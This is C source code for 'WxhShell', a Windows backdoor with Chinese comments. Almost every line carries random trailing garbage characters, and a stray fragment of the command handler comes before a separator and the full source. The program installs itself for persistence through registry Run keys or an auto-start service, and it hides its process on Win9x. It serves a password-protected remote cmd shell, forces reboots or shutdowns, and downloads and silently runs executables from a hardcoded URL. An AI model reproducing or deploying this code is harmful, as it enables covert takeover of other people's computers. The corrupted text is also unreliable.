    closesocket(wsh); g^$11  
    ExitThread(0); DE\bYxJ  
    } D *I;|.=u  
    break; JOx ,19r  
    } =/JF-#n/MA  
  // 关机 I#E(r>KW*  
  case 'd': { apD=>O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oXlxPN39  
    if(Boot(SHUTDOWN)) "E)++\JL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 795Jwv  
    else { j-`X_8W  
    closesocket(wsh); -N8cjr4l  
    ExitThread(0); ~@uY?jr  
    } }#HTO:r  
    break;  ;[KriW  
    } ca/o#9:N`:  
  // 获取shell LX\*4[0%K  
  case 's': { F\=Rm  
    CmdShell(wsh); YP#AB]2\}  
    closesocket(wsh); A?IZ( Zx(`  
    ExitThread(0); leES YSY:  
    break; GtM( Y  
  } H/Ec^Lc+_  
  // 退出 g7 Md  
  case 'x': { En,)}yI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ..]*Ao2  
    CloseIt(wsh); YF! &*6m  
    break; ?wLdW1&PpX  
    } XnE %$NJ  
  // 离开 yD[zzEuQ  
  case 'q': { xv$)u<Ve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ac[|MBaF  
    closesocket(wsh); ^5;vx  
    WSACleanup(); Cv>yAt.3  
    exit(1); $K?T=a;z  
    break; nrTv=*tDj  
        } 'n^2|"$sH  
  } bvip bf[m<  
  } 0Oc}rRH(C  
i5 L:L  
  // 提示信息 >,>;)B@J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,G[r+4|h  
} jcEs10y  
  } \6SMn6a4  
9u ?)vR[@e  
  return; G{NSAaD[  
} <AI>8j6#B  
aFRTNu/r  
// shell模块句柄 ]~ !X iCqu  
int CmdShell(SOCKET sock) 83KfM!w  
{ =PNdP  
STARTUPINFO si; N>d|A]zH  
ZeroMemory(&si,sizeof(si)); I!fB1aq-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B*?ZE4`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0).fBBNG  
PROCESS_INFORMATION ProcessInfo; wv, GBZ-f  
char cmdline[]="cmd"; L!;^ #g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T&1-eq>l  
  return 0; F+ffl^BQ  
} 8yE!7$Mj  
xi6 80'  
// 自身启动模式 p`>AnfG  
int StartFromService(void) |}_gA  
{  5ZnSA9?  
typedef struct ~TYbP  
{ `[WyH O|8  
  DWORD ExitStatus; "_ LkZBW.  
  DWORD PebBaseAddress; DVObrL)znL  
  DWORD AffinityMask; 7dSh3f!  
  DWORD BasePriority; 3YR* ^  
  ULONG UniqueProcessId; r2RBrZ@1  
  ULONG InheritedFromUniqueProcessId; R=`U4Ml;  
}   PROCESS_BASIC_INFORMATION; za,6 du6  
hIR@^\?  
PROCNTQSIP NtQueryInformationProcess; K<c2PFo)Q  
X(IyvfC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Js/N()X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YVoao#!  
ytEQ`  
  HANDLE             hProcess; MzcB3pi  
  PROCESS_BASIC_INFORMATION pbi; ,1,&b_  
+<&E3Or  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w{3ycR  
  if(NULL == hInst ) return 0; +|6`E3j%  
!6lOIgn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (I[s3EnhS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8`}l\ Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oWI!u 5  
ThtMRB)9  
  if (!NtQueryInformationProcess) return 0; 4iwf\#  
{o( * f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G(3;;F7"  
  if(!hProcess) return 0; )`^ /(YG  
byafb+x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E-^2"j >o  
2SYKe$e  
  CloseHandle(hProcess); (i\)|c/a7  
a~,Kz\Tt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F'1k<V?  
if(hProcess==NULL) return 0; n!ZMTcK8  
mB~~_]M N  
HMODULE hMod; =LOk13l\"  
char procName[255]; ?z3]   
unsigned long cbNeeded; Yr=8!iR$  
 s'TY[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _C20 +PMO  
?IILt=)<  
  CloseHandle(hProcess); 88+ =F XG  
Bhe{L?}0  
if(strstr(procName,"services")) return 1; // 以服务启动 _B3zRO  
zd.'*Dj  
  return 0; // 注册表启动 aZ6'|S;  
} D^|9/qm$  
"kU]  
// 主模块 BKay*!'PX  
int StartWxhshell(LPSTR lpCmdLine) h/HH Kn  
{ `]jqQr97  
  SOCKET wsl; o5SQ1;`   
BOOL val=TRUE; myIe_k,F  
  int port=0; W&YU^&`Yr  
  struct sockaddr_in door; 9Sz7\W0  
P 6.!3%y  
  if(wscfg.ws_autoins) Install(); >g]ON9CGH  
<!F3s`7~  
port=atoi(lpCmdLine); ~>g+2]Bn>$  
b# u8\H  
if(port<=0) port=wscfg.ws_port; x#r<,uNn,  
/OG zt  
  WSADATA data; M?$ZJ-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bY)#v?  
n'M>xq_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FshC )[w,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : y1Bt+Fp  
  door.sin_family = AF_INET; DZk1ZLz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aCl A{  
  door.sin_port = htons(port); nxfoWy  
2.nE k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gi$XB}L+X  
closesocket(wsl); Da_()e[9p  
return 1; 8EI:(NE*J  
} MA* :<l  
VD [pZ2;4  
  if(listen(wsl,2) == INVALID_SOCKET) { )+EN$*H  
closesocket(wsl); DpvrMI~I_  
return 1; t,HFz6   
} .3X Y&6  
  Wxhshell(wsl); :o8MUXH$  
  WSACleanup(); T$mbk3P  
2hq\n<  
return 0; :c=.D;,  
snC/H G7  
} ?\y%]1  
s`;f2B/|  
// 以NT服务方式启动 B(,:haAr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +TSSi em  
{ pW|u P8#  
DWORD   status = 0; FFvCi@oT  
  DWORD   specificError = 0xfffffff; ,b|-rU\  
+>tUz D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L l}yJ#3,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6R4<J% $P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GLUUY0  
  serviceStatus.dwWin32ExitCode     = 0;  rLv;Y  
  serviceStatus.dwServiceSpecificExitCode = 0; _A'{la~k  
  serviceStatus.dwCheckPoint       = 0; v("wKHWTI@  
  serviceStatus.dwWaitHint       = 0; y{=>$C[  
G%{0i20_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `^6 ,kI-c  
  if (hServiceStatusHandle==0) return; 5-vo0:hk  
:dwt1>  
status = GetLastError(); OH'ea5x q  
  if (status!=NO_ERROR) r:g9Z_  
{ Z :nbZHByh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jp~zX lu  
    serviceStatus.dwCheckPoint       = 0; m;,xmEp  
    serviceStatus.dwWaitHint       = 0; eUBrzoCO  
    serviceStatus.dwWin32ExitCode     = status; 8Vn4.R[vE  
    serviceStatus.dwServiceSpecificExitCode = specificError; +!yX T C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j-b*C2l  
    return; s V  }+eU  
  } L%h/OD  
"![L#)"s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EgM*d)X  
  serviceStatus.dwCheckPoint       = 0; bS!\#f%9"  
  serviceStatus.dwWaitHint       = 0; #wR;|pN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9pD 7 f`  
}  $xgBKD  
F- rQ3  
// 处理NT服务事件,比如:启动、停止 PK2~fJB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I 3$dVls}  
{ v~)LO2y   
switch(fdwControl) NXk!qGV2  
{ TzG]WsY_  
case SERVICE_CONTROL_STOP: e %O0hE  
  serviceStatus.dwWin32ExitCode = 0; } cNW^4F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rf K8q'@  
  serviceStatus.dwCheckPoint   = 0; l*=aMjd?  
  serviceStatus.dwWaitHint     = 0; %D=]ZV](  
  { wdas1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |U' I/A  
  } h2q/mi5{  
  return; 5Av=3[kh"%  
case SERVICE_CONTROL_PAUSE: iCQ>@P]nE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Fw - d  
  break; z j{s}*  
case SERVICE_CONTROL_CONTINUE: Z;DCI-Wg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4=<*Vd`p  
  break; jLVl4h&  
case SERVICE_CONTROL_INTERROGATE: l.=p8-/$'7  
  break; gFN 9jM  
}; lCT{v@pp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n# 7Pr/*0  
} *%FA:Y  
t0E51Ic@  
// 标准应用程序主函数 g_.^O$}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8?FueAM'  
{ ]$iqa"{  
8{ c!).  
// 获取操作系统版本 }j {!-&  
OsIsNt=GetOsVer(); 5TKJWO.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gu0 ,)jy\  
?}P5p^6  
  // 从命令行安装 % ZU/x d  
  if(strpbrk(lpCmdLine,"iI")) Install(); )7cb6jCU  
Tny> D0Z#  
  // 下载执行文件 ){;02^tX  
if(wscfg.ws_downexe) { TD@v9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1 OaXo!  
  WinExec(wscfg.ws_filenam,SW_HIDE); (g!p>m!Z  
} aptY6lGv-|  
`C E^2  
if(!OsIsNt) { ^%T7.1'x  
// 如果时win9x,隐藏进程并且设置为注册表启动 |UnUG  
HideProc(); .p` pG3  
StartWxhshell(lpCmdLine); E2wz(,@  
} j7QX ,_Q  
else !0VfbY9C  
  if(StartFromService()) k=ytuV\  
  // 以服务方式启动 )u:Q) %$t  
  StartServiceCtrlDispatcher(DispatchTable); g{k1&|  
else %q 3$|>  
  // 普通方式启动 si4-3eC  
  StartWxhshell(lpCmdLine); Pt,ebL~  
"\%On >  
return 0; QP@<)`1t9  
} 1`0#HSO  
: esg(  
gk0.zz([  
qQ[b VD\*  
=========================================== ] ,etZ%z&  
5N$E()m$  
Dr3n+Q   
y^>Q/H\  
fK}h"iH+K  
Rfb?f} j  
" k3!a$0Bs;  
J97R0  
#include <stdio.h> `(y(w-:W1  
#include <string.h> NcS.49  
#include <windows.h> Q[n\R@  
#include <winsock2.h> UKd'+R]  
#include <winsvc.h> 3L>IX8_   
#include <urlmon.h> {Bvj"mL]j  
iO w3MfO  
#pragma comment (lib, "Ws2_32.lib") l(W[_ D  
#pragma comment (lib, "urlmon.lib") kK>Xrj6  
IV16d  
#define MAX_USER   100 // 最大客户端连接数 BcWcdr+}9  
#define BUF_SOCK   200 // sock buffer q(o/yx{bm  
#define KEY_BUFF   255 // 输入 buffer l*aj#%ha  
B/f0P(7  
#define REBOOT     0   // 重启 83~ i:+;  
#define SHUTDOWN   1   // 关机 UM%o\BiO  
BbOu/i|  
#define DEF_PORT   5000 // 监听端口 D0G-5}s`  
kTIYD o  
#define REG_LEN     16   // 注册表键长度 & -l8n^  
#define SVC_LEN     80   // NT服务名长度 )+y G+  
IakKi4(  
// 从dll定义API Wl"0m1G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ITJ q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V3N0Og3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /TQ}} YVw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V\~WvV  
R0Ue0pF7  
// wxhshell配置信息 H[Q_hY[>V  
struct WSCFG { 1^J`1  
  int ws_port;         // 监听端口 Tpp&  
  char ws_passstr[REG_LEN]; // 口令 m`? MV\^  
  int ws_autoins;       // 安装标记, 1=yes 0=no GyI-)Bl DC  
  char ws_regname[REG_LEN]; // 注册表键名 :,pSWfK H  
  char ws_svcname[REG_LEN]; // 服务名 t/oN>mQG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H5>hx {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gYop--\14]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x<i}_@Sn_+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q6P wZ_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &O\(;mFc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bF}V4"d,B3  
Fig&&b a  
}; qF)< H  
.y5,x\Pq(  
// default Wxhshell configuration pY8q=Kl  
struct WSCFG wscfg={DEF_PORT, V:NI4dv/R  
    "xuhuanlingzhe", 7cg*|E@  
    1, "O>n@Q|  
    "Wxhshell", E .6HpIx  
    "Wxhshell", ra '  
            "WxhShell Service", E N^Uki`  
    "Wrsky Windows CmdShell Service", I8   
    "Please Input Your Password: ", VzS&`d.h  
  1, G28O%jD?  
  "http://www.wrsky.com/wxhshell.exe", 2 -!L _W(  
  "Wxhshell.exe" }A$WO {2  
    }; + bhym+  
c>bq%}  
// 消息定义模块 R! s6% :Yg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rd|uz4d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2i#Sn'1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0pe3L   
char *msg_ws_ext="\n\rExit."; "v*8_El  
char *msg_ws_end="\n\rQuit."; 96Wp!]*  
char *msg_ws_boot="\n\rReboot..."; 6"j_iB  
char *msg_ws_poff="\n\rShutdown..."; "R #k~R  
char *msg_ws_down="\n\rSave to "; w[Gh+L30=5  
Q'B6^%:<~  
char *msg_ws_err="\n\rErr!"; }]P4-KqI  
char *msg_ws_ok="\n\rOK!"; Z@D*1\TG=  
}peBR80tQ  
char ExeFile[MAX_PATH]; JwnAW}=  
int nUser = 0; DmqX"x%P  
HANDLE handles[MAX_USER]; Doze8pn  
int OsIsNt; 7J$b$P0}  
=H7xD"'%R  
SERVICE_STATUS       serviceStatus; ZsP2>%"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }$su4A@0  
JeH;v0  
// 函数声明 ]bCq=6ZKR  
int Install(void); JYqSL)Ta*t  
int Uninstall(void); m,LG=s  
int DownloadFile(char *sURL, SOCKET wsh); d=.2@Ry  
int Boot(int flag); e>'H IO  
void HideProc(void); zQy"m-Q  
int GetOsVer(void); =x#FbvV  
int Wxhshell(SOCKET wsl); [ANuBNF  
void TalkWithClient(void *cs); R_P}~l  
int CmdShell(SOCKET sock); Zzua17  
int StartFromService(void); }SyxPXs  
int StartWxhshell(LPSTR lpCmdLine); >/f_F6ay#  
2 mjV~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oj.A,Fh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #eP LOR&q  
{aKqXL[UP  
// 数据结构和表定义 `XTh1Z\  
SERVICE_TABLE_ENTRY DispatchTable[] = D,l,`jv*  
{ JF9yVE-  
{wscfg.ws_svcname, NTServiceMain}, 10Wz,vW,n  
{NULL, NULL} |C \}P  
}; #PvB/3  
".*x!l0y7  
// 自我安装 !H][LXB~H  
int Install(void) [a[/_Sf{  
{ ewNz%_2  
  char svExeFile[MAX_PATH]; `i~ Y Fr  
  HKEY key; Rn%N&1 Ef  
  strcpy(svExeFile,ExeFile); +#@"*yj3  
wbyE;W  
// 如果是win9x系统,修改注册表设为自启动 Wx'Kp+9'  
if(!OsIsNt) { <3PL@orO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \/7i-B]G7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  q}Z3?W  
  RegCloseKey(key); vh!v MB}}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *="8?Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |xr%6 [Ff  
  RegCloseKey(key); OIHz I2{  
  return 0; TZir>5  
    } ExSe=4q#  
  } hw_JDv+  
} gQSNU_o Z  
else { Ax3W2s  
,''cNV  
// 如果是NT以上系统,安装为系统服务 h<l1]h+x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '+'CbWgY  
if (schSCManager!=0) ;Lw{XqT  
{ ? ]sM8Bd}  
  SC_HANDLE schService = CreateService ln*icaDqf  
  ( B (/U3}w-  
  schSCManager, j;yf8Nf  
  wscfg.ws_svcname, $m1<i?'m  
  wscfg.ws_svcdisp, WE}kTq  
  SERVICE_ALL_ACCESS, $ZPX]2D4B#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {cK^,?x  
  SERVICE_AUTO_START, b/$km?R  
  SERVICE_ERROR_NORMAL, E9j+o y  
  svExeFile, T[k4lM  
  NULL, n6WY&1ZE~  
  NULL, \2[<XG(^  
  NULL, Hi! Jj  
  NULL, }g +;y  
  NULL 'PZ|:9FX!  
  ); foF19_2 ,  
  if (schService!=0) %1 KbS [  
  { 148V2H)  
  CloseServiceHandle(schService); JuRH>`  
  CloseServiceHandle(schSCManager); Mpue   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S|V4[ssB  
  strcat(svExeFile,wscfg.ws_svcname); }/dRU${!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t22;87&|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~8 H_u  
  RegCloseKey(key); +.B<Hd  
  return 0; -F&U  
    } 2N#$X'8  
  } gieN9S  
  CloseServiceHandle(schSCManager); ql{(Lf$  
} /gcEw!JS  
} !{et8F@d|  
^Jp&H\gI.  
return 1; -W{DxN1  
} ~\p]~qQ\K  
nL@KX>  
// 自我卸载 0l*]L`]L#  
int Uninstall(void) ',3HlOJ:  
{ YG:3Fhx0~  
  HKEY key; rVvR!"//yH  
K`&oC8p  
if(!OsIsNt) { 8*SDiZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gXT9 r' k  
  RegDeleteValue(key,wscfg.ws_regname);  UsGa  
  RegCloseKey(key); |@?%Ct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :a8 YV!X  
  RegDeleteValue(key,wscfg.ws_regname); j hYToMq  
  RegCloseKey(key); .LVQx  
  return 0; wS+V]`b  
  } q/3ziVd7p  
} R2etB*k6[  
} ]Y6cwZOe  
else { R_] {2~J+  
Vt^3iX{!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LZPuDf~/  
if (schSCManager!=0) U<"WK"SM  
{ '[$)bPMHl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dpQG[vXe  
  if (schService!=0) W)'*m-I  
  { Yw5'6NU  
  if(DeleteService(schService)!=0) { Ze< K=Q%(i  
  CloseServiceHandle(schService); hPq%L c  
  CloseServiceHandle(schSCManager); +[\eFj|=  
  return 0; d@w~[b  
  } O/:UJ( e{  
  CloseServiceHandle(schService); 3X9b2RY*L/  
  } 6cqP2!~  
  CloseServiceHandle(schSCManager); ,F&g5'  
} %1pYE Hn  
} 86@c't@  
fQrhsuCrC  
return 1; y(R? ,wa=]  
} ntNI]~z&  
Y|8v O  
// 从指定url下载文件 !=;XBd-  
int DownloadFile(char *sURL, SOCKET wsh) e\O/H<  
{ (F7(^.MG  
  HRESULT hr; zf3v5Hk  
char seps[]= "/"; 9nu3+.&P  
char *token; IwGqf.!.>  
char *file; **69rN  
char myURL[MAX_PATH]; ^Rm  
char myFILE[MAX_PATH]; t|t#vcB  
/0\ mx4u  
strcpy(myURL,sURL); 6TP7b|  
  token=strtok(myURL,seps); $d?.2Kg  
  while(token!=NULL) QMv@:Eo  
  { 12Y  
    file=token; x8GJY~:SW  
  token=strtok(NULL,seps); ! 8`3GX:B_  
  } 0M\D[ mg  
r$)w7Gk<  
GetCurrentDirectory(MAX_PATH,myFILE); <\?wAjc,  
strcat(myFILE, "\\"); 6(P M'@i  
strcat(myFILE, file); 3Hf0MAt  
  send(wsh,myFILE,strlen(myFILE),0); \9-"M;R.d  
send(wsh,"...",3,0); z3?o|A}/W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yCCrK@{oo  
  if(hr==S_OK) 'vNG(h#%d  
return 0; vv26I  
else @JdZ5Q  
return 1; `({T]@]V  
86nN"!{l:  
} #m={yck *  
_V`DWR *  
// 系统电源模块 vm>b m  
int Boot(int flag) ID/ F  
{ [` sL?&a  
  HANDLE hToken; `p+Zz"/  
  TOKEN_PRIVILEGES tkp; Dc)dE2  
Yup3^E w&  
  if(OsIsNt) { X.:]=,aGW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4*$G & TX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DK}"b}Fvq  
    tkp.PrivilegeCount = 1; ;J7F J3n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D= 7c(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5ZBKRu  
if(flag==REBOOT) { F:aILx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u]OW8rc  
  return 0; 3do)Vg4  
} B5$kHM%p  
else { B$Kn1 k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K$d$m <  
  return 0; 08*v~(T  
} c*~]zR>s!  
  } qgrg CJ  
  else { 9?k_y ZV  
if(flag==REBOOT) { #KO,~]k5|e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NF? vg/{  
  return 0; ]kboG%Dl?9  
} c%qv9   
else { ?Q&yEGm(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g&{9VK6.  
  return 0; TiH) 5  
} 4ni3kmvX  
} "!EcbR  
QPq7R  
return 1; ]~Z6;  
} h\'n**f_x  
N 8-oY$*  
// win9x进程隐藏模块 \nP>:5E1  
void HideProc(void) (IPY^>h  
{ >+[&3u  
)YqXRm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3*@5S]]  
  if ( hKernel != NULL ) BXyo  
  { %!1Q P[}K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @62Mk},9 c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !3ctB3eJ  
    FreeLibrary(hKernel); $r3i2N-I  
  } ^53r/V}%  
)[Yv?>ib  
return; b4pm_Um  
} CH<E,Z C1T  
cA:*V|YV `  
// 获取操作系统版本 ny54XjtG,  
int GetOsVer(void) NrJKbk^4u/  
{ T|TO}_x  
  OSVERSIONINFO winfo; to$h2#i_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \~_9G{2?  
  GetVersionEx(&winfo); ~b2wBs)r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (zFi$  
  return 1; &EnuE0BD  
  else lO_UPC\@fw  
  return 0; "%x<ttLl  
} AoI/n4T^  
ze]h..,]K  
// 客户端句柄模块 *VZ5B<Ic  
int Wxhshell(SOCKET wsl) Kp,M"Y  
{ =7o"u3hG  
  SOCKET wsh; ` 5C~  
  struct sockaddr_in client; Jtk|w[4L  
  DWORD myID; $ <#KA3o\  
X7g1:L1Ys  
  while(nUser<MAX_USER) 4tS.G  
{ 5EfS^MRf\n  
  int nSize=sizeof(client); |a!fhl+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c*@E_}C#  
  if(wsh==INVALID_SOCKET) return 1; w:<W.7y?0  
:B:"NyPA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hHMN6i  
if(handles[nUser]==0) a)'5Nw9*  
  closesocket(wsh); b^$|Nz;  
else \9g+^vQg  
  nUser++; 2 FW \O0U  
  } 3z&Fi;<+j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?C A,  
c. 2).Jt,  
  return 0; *=*AAF  
} /Bm( `T  
>b{q.  
// 关闭 socket H"dJ6  
void CloseIt(SOCKET wsh) z=3\Ab  
{ hs$GN]  
closesocket(wsh); t?'!$6   
nUser--; X'qU*Eo  
ExitThread(0); ftF@Wq1f  
} F 70R1OYU  
$H9%J  
// 客户端请求句柄 Q{5kxw1ZF  
void TalkWithClient(void *cs) n$ou- Q  
{ T r1?620  
DuHu\>f<S  
  SOCKET wsh=(SOCKET)cs; uW} s)j.  
  char pwd[SVC_LEN]; RpD=]y!5_  
  char cmd[KEY_BUFF]; <yH4HY  
char chr[1]; -- c"0,7  
int i,j; #/<&*Pu5t  
TO?R({yx*  
  while (nUser < MAX_USER) { [c|]f_ZdK  
5MtLT#C3r  
if(wscfg.ws_passstr) { wlqpn(XR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jGpN,/VQa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /*X2c6<d  
  //ZeroMemory(pwd,KEY_BUFF); O4V.11FnW  
      i=0; ;CPr]avY  
  while(i<SVC_LEN) { mSb#Nn6W  
Wg<(ms dj  
  // 设置超时 G'ei/Me6{  
  fd_set FdRead; \(^nSy&N  
  struct timeval TimeOut; m0;CH/D0  
  FD_ZERO(&FdRead); AN/;)wc  
  FD_SET(wsh,&FdRead); 9vGu0Um  
  TimeOut.tv_sec=8; #x 177I\  
  TimeOut.tv_usec=0; F|e1"PkeoA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'z%o16F)L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fj;y}t1E]  
G <i@ 5\#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5?3Me59  
  pwd=chr[0]; =IQ5<;U3  
  if(chr[0]==0xd || chr[0]==0xa) { DkvF5c&  
  pwd=0; R|(q  
  break; }}\vV}s  
  } LIvFx|  
  i++; 8TLgNQP  
    } 4'a=pnE$  
2ZG5<"DQ"  
  // 如果是非法用户,关闭 socket =E.t`x=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &3J_^210  
} e%@~MQ-  
X[&Wkr8x '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Bs {u=+w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -ZRO@&tMD  
7Z\--=;|[:  
while(1) { W;'!gpa  
hRrn$BdLX  
  ZeroMemory(cmd,KEY_BUFF); iS WU'K  
w35J.zn  
      // 自动支持客户端 telnet标准   D(AXk8Vub  
  j=0; QgU8 s'e  
  while(j<KEY_BUFF) { T_@K& <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :y%/u%L  
  cmd[j]=chr[0]; M<.d8?p )  
  if(chr[0]==0xa || chr[0]==0xd) { XWS%zLaK  
  cmd[j]=0; :(!` /#6H  
  break; 3=FZ9>by  
  } 7hlO#PYZ  
  j++; AX;8^6.F3  
    } }Qip&IN  
&,c``z  
  // 下载文件 ^;Y|3)vvB  
  if(strstr(cmd,"http://")) { U(Nu%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `e}bdj  
  if(DownloadFile(cmd,wsh)) tD(7^GuR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9?}j #@  
  else -:2$ %  
